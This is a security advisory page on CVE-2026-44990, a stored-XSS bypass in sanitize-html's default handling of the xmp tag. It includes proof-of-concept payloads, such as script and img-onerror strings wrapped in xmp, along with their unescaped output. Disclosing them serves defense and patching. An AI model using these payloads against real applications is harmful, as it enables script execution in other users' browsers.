CVE-2026-44990: Apostrophe has default XSS via `xmp` raw-text passthrough in `sanitize-html`

Published May 14, 2026
·
Updated

Summary Under the default configuration, sanitize-html can turn attacker-controlled content inside a disallowed xmp element into live HTML or JavaScript. This is a sanitizer bypass in the default disallowedTagsMode: 'discard' path and can lead to stored XSS in applications that render sanitized output back to users.

Details In sanitize-html@2.17.3, the default nonTextTags list includes only script, style, textarea, and option in index.js lines 138-142. That means disallowed xmp tags are not treated as "drop the entire contents" tags.

Later, in the ontext handler at index.js lines 569-577, the code special-cases textarea and xmp and appends their text content directly to the output without escaping:

js } else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (tag === 'textarea' || tag === 'xmp')) { result += text; }

Because htmlparser2 treats xmp as a raw-text element, markup inside xmp is parsed as text on input but becomes live markup again once it is appended unescaped to the sanitized output.

This creates a default sanitizer bypass. For example, a disallowed <xmp> wrapper can be used to smuggle <script> or event-handler payloads through sanitization.

The README also appears to contradict the implementation. In the "Discarding the entire contents of a disallowed tag" section, the documented exception list names only style, script, textarea, and option, and does not mention xmp.

PoC Tested locally against sanitize-html@2.17.3 on Node.js v25.2.1.

1. Install the package:

bash npm install sanitize-html

2. Run the following script:

js const sanitizeHtml = require('sanitize-html');

console.log(sanitizeHtml('<xmp><script>alert(1)</script></xmp>')); console.log(sanitizeHtml('<xmp><img src=x onerror=alert(1)></xmp>')); console.log(sanitizeHtml('<xmp><svg><script>alert(1)</script></svg></xmp>'));

3. Observed output:

html <script>alert(1)</script> <img src=x onerror=alert(1)> <svg><script>alert(1)</script></svg>

4. Render any of the returned strings in a browser context that trusts sanitize-html output, for example:

js const dirty = '<xmp><script>alert(1)</script></xmp>'; const clean = sanitizeHtml(dirty);

If clean is inserted into the DOM or stored and later rendered as trusted HTML, the attacker-controlled script executes.

Impact This is a cross-site scripting vulnerability in the default sanitizer behavior. Any application that uses sanitize-html defaults and then renders the returned HTML as trusted output is impacted. A remote attacker who can submit HTML content can trigger execution of arbitrary JavaScript in another user's browser when that content is viewed.

Other sources

ApostropheCMS is an open-source Node.js content management system, and sanitize-html provides a simple HTML sanitizer with a clear API. Under the default configuration, versions of sanitize-html prior to 2.17.4 can turn attacker-controlled content inside a disallowed xmp element into live HTML or JavaScript. This is a sanitizer bypass in the default disallowedTagsMode: 'discard' path and can lead to stored XSS in applications that render sanitized output back to users. Version 2.17.4 patches the issue.

MITRE

Affected Software

2 affected componentsFixes available
npm/sanitize-html<=2.17.3
IBM DataStage on Cloud Pak for Data<=5.4.0.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade sanitize-html to a version that resolves this vulnerability.

    Fixed in 2.17.4

Event History

May 14, 2026
Advisory Published
via GitHub·06:26 PM
Data Sourced
via GitHub·06:26 PM
DescriptionSeverityWeaknessAffected Software
Jun 12, 2026
CVE Published
via MITRE·08:39 PM
Data Sourced
via MITRE·08:39 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·09:02 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeakness
Sep 7, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

What is the severity of CVE-2026-44990?

CVE-2026-44990 has a high severity due to its potential for stored cross-site scripting (XSS) attacks.

2

How do I fix CVE-2026-44990?

To fix CVE-2026-44990, upgrade the sanitize-html package to version 2.17.4 or higher.

3

Which versions of sanitize-html are affected by CVE-2026-44990?

CVE-2026-44990 affects sanitize-html versions up to and including 2.17.3.

4

What impact can CVE-2026-44990 have on my application?

CVE-2026-44990 can allow attacker-controlled content to execute as HTML or JavaScript, leading to security breaches.

5

Is there a workaround for CVE-2026-44990 if I cannot upgrade?

A potential workaround for CVE-2026-44990 is to validate and sanitize user input manually before rendering it.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203